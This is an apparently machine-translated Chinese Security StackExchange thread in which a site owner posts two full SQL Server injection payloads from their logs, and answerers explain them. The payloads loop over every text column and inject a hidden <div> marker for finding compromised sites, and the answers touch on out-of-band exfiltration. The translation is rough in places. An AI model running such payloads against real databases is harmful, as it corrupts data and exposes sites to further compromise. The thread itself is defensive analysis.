我在我的two服务器日志中发现了两次尝试SQL注入的尝试:
declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;fetch next from @c into @a,@s;
while @@FETCH_STATUS=0
begin set @q='declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where not ['+@s+'] like ''%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0
begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 0 ''''''+char(60)+''div style="display:none"''+char(62)+''edf40wrjww2'+@a+':'+@s+'''+char(60)+char(47)+''div''+char(62)+'''''';'';exec(@s);
fetch next from @x into @f;
end;close @x';
exec(@q);
fetch next from @c into @a,@s;end;close @c--declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';
declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;
fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 begin set @q='declare @l int;set @l=44+len('''+@s+''')+len('''+@a+''');declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where ['+@s+'] like ' '%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 ''+cast(@l as varchar)+'' '''''''''';exec(@s);fetch next from @x into @f;end;close @x';
exec(@q);
fetch next from @c into @a,@s;
end;
close @c--这就是我想象的攻击方式:第一次尝试将<div>元素插入到带有跟踪代码的网页HTML代码中。然后,恶意用户可以很容易地搜索受感染的网站。第二次尝试在DB中查找代码,然后尝试从其中提取信息(?)。
我也在网上搜索过这个代码,看起来有很多网站被感染了(大约200个,主要是中文),你可以在它们的源代码中看到“面包屑代码”。
我的问题是:
发布于 2018-01-20 04:17:51
聪明的。我相信它的想法是尝试对针对Server的网页执行SQL注入。其思想是,成功的SQL注入可以通过确定它们是否传播到web页面来发现。web应用程序或页面利用的任何数据/字段等现在都将显示唯一的字符串。他们可能会立即(反映)查找字符串,以及随后扫描应用程序或站点(存储的SQL注入)。你甚至可以利用你最喜欢的搜索引擎找到它们(就像你发现的那样)。商业网络扫描仪使用类似的技术来标记注射。
第一个脚本用一个由某些HTML包装的唯一字符串(edf40wrjww2)更新DB中的所有字段。第二个脚本遍历第一个脚本更新的所有字段,并附加到有关已泄露的表和列的特定信息上。不确定为什么这会被分成两个脚本--这可能是为了减少注入长度,或者确保列的长度至少可以与标记相匹配。
如果使用Server,则可能需要检查数据库中的此字符串。
发布于 2018-01-20 16:32:53
<div>标记的tablename:字段名写入一个文本字段,其中包含他希望显示在页面上的数据。当站点呈现页面时,它从数据库中提取文本并将其放到要显示的页面上。div标记是用来隐藏它的;但是并不是每个显示的HTML元素都允许包含div标记,这就是为什么您可能在站点的标题中看到div标记的原因。发布于 2018-01-20 18:58:55
攻击者正试图进入带外SQL注入,这在MS服务器上是很可能的。带外SQLi技术将依赖于数据库服务器发出DNS或HTTP请求以向攻击者传递数据的能力。Microsoft的xp_dirtree命令就是这种情况,它可以用于向攻击者控制的服务器发出UTL_HTTP请求,以及Oracle的UTL_HTTP包,后者可用于从server和PL/SQL向攻击者控制的服务器发送HTTP请求。
很少有台湾站点&那些高度依赖MS服务器的应用程序,如果推理不起作用,就容易受到推理和带外SQL注入的影响。

为了执行带外SQL注入跟踪,攻击者将需要完全依赖于敲击或发出DNS请求,从而注入有效载荷,就好像有效负载随后会从带宽通道(如协作服务器 )中得到结果一样。
很少有关于MySQL乐队外技术的论文,但这里有一篇:https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf
回答你的问题:
https://security.stackexchange.com/questions/177958
复制相似问题